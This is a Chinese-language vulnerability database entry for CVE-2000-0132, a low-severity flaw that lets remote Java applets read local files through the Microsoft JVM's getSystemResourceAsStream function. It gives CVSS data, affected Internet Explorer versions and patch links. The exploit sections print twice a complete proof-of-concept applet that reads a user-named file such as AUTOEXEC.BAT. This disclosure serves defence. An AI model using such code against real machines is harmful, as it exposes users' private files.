CVE-2000-0132
CVSS2.6
发布时间 :2000-01-31 00:00:00
修订时间 :2008-09-10 15:03:05
NMCOES    

[原文]Microsoft Java Virtual Machine allows remote attackers to read files via the getSystemResourceAsStream function.


[CNNVD]Microsoft Java虚拟机getSystemResource漏洞(CNNVD-200001-066)

        Microsoft Java虚拟机存在漏洞。远程攻击者借助getSystemResourceAsStream函数可以读取文件。

- CVSS (基础分值)

CVSS分值: 2.6 [轻微(LOW)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: HIGH [漏洞利用存在特定的访问条件]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-200 [信息暴露]

- CPE (受影响的平台与产品)

cpe:/a:microsoft:virtual_machine:2000
cpe:/a:microsoft:virtual_machine:3000

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0132
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0132
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200001-066
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/957
(UNKNOWN)  BID  957

- 漏洞信息

Microsoft Java虚拟机getSystemResource漏洞
低危 信息泄露
2000-01-31 00:00:00 2007-11-09 00:00:00
远程※本地  
        Microsoft Java虚拟机存在漏洞。远程攻击者借助getSystemResourceAsStream函数可以读取文件。

- 公告与补丁

        Microsoft has released patches for this issue. To determine what buildof the Java VM you have, use the jview utility. The patches are available at:
        2000 series builds:
        http://www.microsoft.com/java/vm/dl_vmsp2.htm
        3100 series builds:
        http://www.microsoft.com/java/vm/dl_vm32.htm
        3200 series builds:
        http://www.microsoft.com/java/vm/dl_vm40.htm

- 漏洞信息 (19734)

Microsoft Virtual Machine 2000 Series/3000 Series getSystemResource Vulnerability (EDBID:19734)
windows remote
2000-01-31 Verified
0 Hiromitsu Takagi
N/A [点击下载]
source: http://www.securityfocus.com/bid/957/info

Microsoft's Java Virtual Machine will allow the reading of local file information by a remote Java application. This can be done two ways:

1: Via the getSystemResourceAsStream() function. The filename must be specified, and must be in certain paths: the JVM 'home' directory, and any directory in the CLASSPATH environment variable. For IE 5 the home directory is the current user's desktop, for IE4 it is C:\ . The specified file can be read.

2: Via the getSystemResource() function. Unlike the first function, this one will accept the ../ string in the pathname, making it possible to access any file on the same drive as the Java installation. However, the file cannot be read, it is only possible to verify the existence or non-existence of a file by this method.

import java.awt.*;
import java.awt.event.*;
import java.io.*;
public class Test extends java.applet.Applet {
TextArea outputArea;
TextField filePathnameInputField;

public void init() {
setLayout(new BorderLayout());
outputArea = new TextArea();
add(BorderLayout.CENTER, outputArea);
filePathnameInputField = new TextField();
filePathnameInputField.setText("AUTOEXEC.BAT");
Panel p = new Panel();
p.setLayout(new BorderLayout());
add(BorderLayout.NORTH, p);
p.add(BorderLayout.CENTER, filePathnameInputField);
Button actionButton = new Button("Read It!");
p.add(BorderLayout.EAST, actionButton);
actionButton.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
new ActionThread().start();
}
});
}
class ActionThread extends Thread {
public void run() {
try {
String filePathname = filePathnameInputField.getText();
// InputStream is = getClass().getResourceAsStream(filePathname);
InputStream is = ClassLoader.getSystemResourceAsStream(filePathname);
BufferedReader br = new BufferedReader(new InputStreamReader(is));
StringBuffer buf = new StringBuffer();
while (true) {
String line = br.readLine();
if (line == null) break;
buf.append(line).append("\n");
}
outputArea.setText(new String(buf));
} catch (Exception e) {
outputArea.setText(e.toString());
}
}
}
} 		

- 漏洞信息

59289
Microsoft Java Virtual Machine getSystemResourceAsStream Function Arbitrary File Access
Local Access Required Information Disclosure
Loss of Confidentiality Patch / RCS
Exploit Public Vendor Verified, Third-party Verified

- 漏洞描述

- 时间线

2000-02-01 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Microsoft has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Microsoft Java Virtual Machine getSystemResource Vulnerability
Access Validation Error 957
Yes Yes
2000-01-31 12:00:00 2009-07-11 01:56:00
Posted to Bugtraq on January 31, 2000 by Hiromitsu Takagi <takagi@etl.go.jp>. Discovered by Dr. Hiromitsu Takagi and Mr. Kensuke Tada.

- 受影响的程序版本

Microsoft Virtual Machine 3000 Series
+ Microsoft Internet Explorer 5.0 for Windows NT 4
+ Microsoft Internet Explorer 5.0 for Windows 98
+ Microsoft Internet Explorer 5.0 for Windows 95
+ Microsoft Internet Explorer 5.0 for Windows 2000
Microsoft Virtual Machine 2000 Series
+ Microsoft Internet Explorer 4.0 for Windows NT 4
+ Microsoft Internet Explorer 4.0 for Windows NT 3
+ Microsoft Internet Explorer 4.0 for Windows 95
+ Microsoft Internet Explorer 4.0

- 漏洞讨论

Microsoft's Java Virtual Machine will allow the reading of local file information by a remote Java application. This can be done two ways:

1: Via the getSystemResourceAsStream() function. The filename must be specified, and must be in certain paths: the JVM 'home' directory, and any directory in the CLASSPATH environment variable. For IE 5 the home directory is the current user's desktop, for IE4 it is C:\ . The specified file can be read.

2: Via the getSystemResource() function. Unlike the first function, this one will accept the ../ string in the pathname, making it possible to access any file on the same drive as the Java installation. However, the file cannot be read, it is only possible to verify the existence or non-existence of a file by this method.

- 漏洞利用

Proof-of-concept demo:
http://java-house.etl.go.jp/~takagi/java/test/microsoft_insecurity/Test.html
This webpage is a demonstration only, and will not read any files other than what you specify in the text box. The Java code is:

import java.awt.*;
import java.awt.event.*;
import java.io.*;
public class Test extends java.applet.Applet {
TextArea outputArea;
TextField filePathnameInputField;

public void init() {
setLayout(new BorderLayout());
outputArea = new TextArea();
add(BorderLayout.CENTER, outputArea);
filePathnameInputField = new TextField();
filePathnameInputField.setText("AUTOEXEC.BAT");
Panel p = new Panel();
p.setLayout(new BorderLayout());
add(BorderLayout.NORTH, p);
p.add(BorderLayout.CENTER, filePathnameInputField);
Button actionButton = new Button("Read It!");
p.add(BorderLayout.EAST, actionButton);
actionButton.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
new ActionThread().start();
}
});
}
class ActionThread extends Thread {
public void run() {
try {
String filePathname = filePathnameInputField.getText();
// InputStream is = getClass().getResourceAsStream(filePathname);
InputStream is = ClassLoader.getSystemResourceAsStream(filePathname);
BufferedReader br = new BufferedReader(new InputStreamReader(is));
StringBuffer buf = new StringBuffer();
while (true) {
String line = br.readLine();
if (line == null) break;
buf.append(line).append("\n");
}
outputArea.setText(new String(buf));
} catch (Exception e) {
outputArea.setText(e.toString());
}
}
}
}

- 解决方案

Microsoft has released patches for this issue. To determine what buildof the Java VM you have, use the jview utility. The patches are available at:

2000 series builds: http://www.microsoft.com/java/vm/dl_vmsp2.htm
3100 series builds: http://www.microsoft.com/java/vm/dl_vm32.htm
3200 series builds: http://www.microsoft.com/java/vm/dl_vm40.htm

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站